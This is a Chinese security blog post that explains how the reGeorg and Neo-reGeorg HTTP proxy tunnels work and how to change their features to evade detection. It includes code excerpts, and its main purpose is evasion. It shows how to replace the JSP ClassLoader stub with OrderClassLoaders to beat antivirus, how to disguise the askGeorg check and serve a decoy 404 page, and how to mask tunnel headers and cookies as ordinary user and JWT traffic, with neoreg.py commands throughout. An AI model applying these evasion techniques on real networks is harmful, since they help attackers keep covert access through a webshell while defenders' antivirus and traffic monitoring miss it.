reGeorg http代理隧道原理和特征修改

前言:http代理隧道静态和动态特征修改

这两个月的hw的时候很多情况下都不出网,并且由于hw期间时间又紧张,拿到权限后只想赶紧刷分数,奈何上了http隧道又被杀,索性现在有时间看看是否能修改点部分特征来实现免杀的效果

  • 修改部分静态特征和动态特征

  • 学习http代理隧道的实现原理

关于socket的option中的选项SO_REUSEPORT和SO_REUSEADDR可以参考文章:https://blog.csdn.net/liuxiao723846/article/details/125334390

reGeorg-master运行原理

验证代理

def askGeorg(connectString):
  ...
    conn = httpScheme(host=httpHost, port=httpPort)
    response = conn.request("GET", httpPath)
    if response.status == 200:
        if BASICCHECKSTRING == response.data.strip():
            log.info(BASICCHECKSTRING)
            return True
    conn.close()
    return False
  ...

初始化

    def __init__(self, pSocket, connectString):
        Thread.__init__(self)
        self.pSocket = pSocket
        self.connectString = connectString
        o = urlparse(connectString)
        try:
            self.httpPort = o.port
        except:
            if o.scheme == "https":
                self.httpPort = 443
            else:
                self.httpPort = 80
        self.httpScheme = o.scheme
        self.httpHost = o.netloc.split(":")[0]
        self.httpPath = o.path
        self.cookie = None
        if o.scheme == "http":
            self.httpScheme = urllib3.HTTPConnectionPool
        else:
            self.httpScheme = urllib3.HTTPSConnectionPool

正式通信总流程

    def run(self):
        try:
            if self.handleSocks(self.pSocket):
                log.debug("Staring reader")
                r = Thread(target=self.reader, args=())
                r.start()
                log.debug("Staring writer")
                w = Thread(target=self.writer, args=())
                w.start()
                r.join()
                w.join()
        except SocksCmdNotImplemented, si:
            log.error(si.message)
            self.pSocket.close()
        except SocksProtocolNotImplemented, spi:
            log.error(spi.message)
            self.pSocket.close()
        except Exception, e:
            log.error(e.message)
            self.closeRemoteSession()
            self.pSocket.close()

self.handleSocks函数

socks5的数据格式为,所以正常则读取第一个字节来进行判断为socks类型

+----+----------+----------+
|VER | NMETHODS | METHODS |
+----+----------+----------+
| 1 | 1 | 1 to 255 |
+----+----------+----------+

这里进行代理测试即可进行看到,本地的proxychains和本地启动的脚本之间的通信为socks通信,第一个字节就是代表的socks类型

抓取本地网卡的方法参考文章:https://blog.csdn.net/finghting321/article/details/105510264

  • self.parseSocks5函数

  • setupRemoteSession函数

上面的工作都做完了之后,就拿到了要通信的ip地址和端口,那么在这里开始就开始与对方目的内网的服务建立通信服务了

如果能拿到cookie那么在self.parseSocks5函数中就会发起SUCCESS的请求包,如下图所示

self.reader

self.writer

Neo-reGeorg

github-L-codes重构reGeorg-master之后的版本Neo-reGeorg,github地址为:https://github.com/L-codes/Neo-reGeorg

现在在用使用Neo-reGeorg进行代理的时候,导致过了一段时间之后代理文件被删除,然后网站被关掉站点,这就让我感觉是Neo-reGeorg代理的流量目标流量设备所检测到所导致的,所以这里就研究下Neo-reGeorg是否存在明显的流量特征和静态特征

静态特征

ClassLoader加载特征

JSP脚本如下图所示,后面的代码不看,这里的话就看开头的,可以看到开头这段代码是从来不混淆的,那么特征就十分的明显,都是继承ClassLoader来调用defineClass来进行字节码的加载

<%@page pageEncoding="UTF-8"%>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>
.......................................

我这里的话就可以将其修改为不继承ClassLoader类,其中一个方法就是直接在java代码中找到一个原生继承ClassLoader的类,且没有将defineClass进行权限设置的,比如通过com.sun.jmx.remote.util.OrderClassLoaders这个类就能实现defineClass调用,可以看到该类没有将defineClass进行权限设置

最终的代码就是如下,将上方的自实现ClassLoader类去掉,然后通过OrderClassLoaders来进行加载即可

测试如下所示,发现一样可以进行代理操作

askGeorg函数返回内容特征

可以看到当第一次建立连接的时候,首先会调用askGeorg方法去访问在目标服务器上的代理文件,这时候会验证数据,虽然是随机生成加密,但是这里的数据格式的特征十分的明显

<!-- xxxxxxxxxxxxxxx -->

所以这里的话也可以被针对性的检测,修改如下所示

修改完HTTP访问代理脚本显示则是如下所示

可以看到同样可以进行代理

脚本自带功能混淆文件内容与状态码

看代码的时候还看到两个功能,那就是该脚本自带混淆文件内容(跟上面修改askGeorg函数返回内容特征实际是一样的)和状态码的功能

在该脚本生成脚本generate功能的时候,默认会将回显Georg says, 'All seems fine'内容进行替换为自定义的,上面修改askGeorg函数返回内容特征实际上就是跟这个一样

这里找个任意的html文件,然后进行脚本生成,同时进行设置默认请求状态码

python neoreg.py generate -k zpchcbd -f google.html -c 404

重新进行访问脚本文件如下图所示,可以看到默认返回html文件,并且返回的状态码为404

这里需要注意下当默认状态码404的时候用脚本连接需要加上--skip参数,askGeorg不通过进行内容验证

默认的脚本virus杀毒显示如下

修改过后的脚本virus杀毒显示如下

流量特征

我先是看了下相关脚本实现的forward部分,这一部分的话就是正常的数据转发功能,按道理是不会触发相关的流量告警,除非是恶意的攻击payload攻击才会导致,所以自己没有在这方面上看

然后再来看下连接服务端的时候Neo-reGeorg是如何实现的?这里发现脚本提供了代理proxy的方法,那么就很适合我们通过burp来进行抓包观察

这里拿jsp来进行举例,因为目前常见的环境都是java环境,这里抓一个正常的流量包来进行观察

python neoreg.py -u http://192.168.4.11:8080/tunnel.jsp -k zpchcbd -x 127.0.0.1:8080

流量分析

neo-regerog的setupRemoteSession操作都是通过get来进行操作

neo-regerog的write写操作都是通过post来进行操作

neo-regerog的read读操作都是通过get来进行请求

整体下来header头的变换如下

由于Neo-reGeorg被广大的安全人员所使用,个人认为最大的流量特征其实就是出自于header头中一个或者多个随机头的出现,其他的部分的话感觉是为啥问题的

我自己的想法就是将其转化为一个正常的流量业务通信,我让其中的"X-CMD"和"X-TARGET"字段作为依次作为user-idcustom-id等常用的字段头来进行通信,而不采取随机化进行处理

同时cookie中添加类似jwt的数据来进行混淆,让其成为一个正常的用户数据包来进行通信,自定义cookie和header的设置脚本自己已经提供了

python neoreg.py -u http://192.168.4.11:8080/tunnel.jsp -k zpchcbd -H "Authorization:cm9vdDppcyB0d2VsdmU=" --cookie "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiJ7XCJpZFwiOjIxMDEsXCJhY2NvdW50XCI6XCJ6cGNoY2JkXCIsXCJlbWFpbFwiOlwiMTM1MjQ4MzMxNUBxcS5jb21cIixcInJlZ19tb2JpbGVcIjpcIjE5ODE3MzUzNDI2XCIsXCJzYW5kYm94X2FjY291bnRcIjp0cnVlfSIsImlzcyI6ImpvYW5mZW4iLCJpYXQiOjE2NTA3ODEzNTEsIm5iZiI6MTY1MDc4MTM1MSwiZXhwIjoxNjUxMzg2MTUxfQ.M5nbI54wzCJFJPF9tXC20yY3KduTtYt0ZfJJFH3Vglo" -x 127.0.0.1:8080

最终的Burp中观察的通信数据包为如下图所示

更高级的混淆方式

可以参考该用户提出来基于哥斯拉的基于KTLV格式自定义反序列化和序列化方法,可以抹除header头带来的特征

https://github.com/L-codes/Neo-reGeorg/pull/60/files

posted @ 2022-08-21 20:58  zpchcbd  阅读(1291)  评论(0编辑  收藏  举报